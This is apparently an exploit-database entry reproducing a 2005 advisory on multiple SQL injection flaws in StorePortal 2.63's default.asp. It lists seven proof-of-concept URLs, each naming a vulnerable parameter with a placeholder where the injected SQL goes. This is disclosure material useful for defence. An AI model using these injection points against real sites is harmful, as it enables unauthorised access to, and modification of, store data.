StorePortal 2.63 - 'default.asp' Multiple SQL Injections

Author: Dcrab
type: webapps
platform: asp
port: 
date_added: 2005-04-25 
date_updated: 2013-05-18 
verified: 1 
codes: CVE-2005-1293;OSVDB-15770 
tags: 
aliases:  
screenshot_url:  
application_url:

source: https://www.securityfocus.com/bid/13358/info

StorePortal is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

http://www.example.com/default.asp?language='[SQL injection]
http://www.example.com/default.asp?id=1&opr=2&amp%3bpic='[SQL injection]
http://www.example.com/default.asp?opr=35&id=1&idcategory='[SQL injection]&idcategoryp=1
http://www.example.com/default.asp?opr=35&id=1&idcategory=1&idcategoryp='[SQL injection]
http://www.example.com/default.asp?mnu=&id=1&opr=5&content='[SQL injection]
http://www.example.com/default.asp?id=1&opr=4&keyword='[SQL injection]
http://www.example.com/default.asp?opr=41&idcategory=11&idcategoryp=11&id=1&idproduct='[SQL injection]